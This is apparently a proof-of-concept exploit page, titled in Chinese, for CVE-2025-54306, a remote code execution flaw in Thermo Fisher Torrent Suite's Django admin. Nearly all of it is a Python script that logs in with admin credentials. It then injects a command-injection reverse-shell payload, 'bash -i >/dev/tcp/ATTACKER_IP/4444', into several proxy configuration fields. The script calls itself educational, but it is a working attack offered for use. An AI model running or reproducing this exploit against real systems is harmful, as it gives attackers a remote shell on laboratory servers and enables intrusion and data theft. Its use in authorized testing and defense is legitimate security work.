CVE-2025-54306 Thermo Fisher Torrent Suite Django 远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-54306 PoC - Thermo Fisher Torrent Suite RCE Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys # Configuration TARGET_URL = "https://target-server/admin/network" USERNAME = "admin" PASSWORD = "admin_password" ATTACKER_IP = "attacker_ip" ATTACKER_PORT = "4444" def create_session(): """Create authenticated session""" session = requests.Session() login_url = f"{TARGET_URL.replace('/admin/network', '/admin/login')}" session.post(login_url, data={'username': USERNAME, 'password': PASSWORD}) return session def exploit_rce(session): """ Inject malicious payload into network configuration parameters. The payload exploits the lack of input sanitization in TSsetnoproxy/TSsetproxy scripts. """ # Reverse shell payload - injects into environment variable # The ';' terminates the legitimate command, ';bash -i' executes shell # '>/dev/tcp/IP/PORT' redirects bash shell to attacker machine payload = f";bash -i >/dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1; echo" # Network configuration parameters to inject payload exploit_data = { 'proxy_host': payload, 'proxy_port': '8080', 'no_proxy': payload, 'http_proxy': f'http://{payload}', 'https_proxy': f'https://{payload}', } response = session.post(TARGET_URL, data=exploit_data, timeout=30) return response def main(): print(f"[*] CVE-2025-54306 PoC for Thermo Fisher Torrent Suite") print(f"[*] Target: {TARGET_URL}") session = create_session() print("[+] Authentication successful") print("[*] Sending exploit payload...") response = exploit_rce(session) if response.status_code == 200: print("[+] Exploit sent successfully - check listener") else: print(f"[-] Exploit failed with status: {response.status_code}") if __name__ == "__main__": main()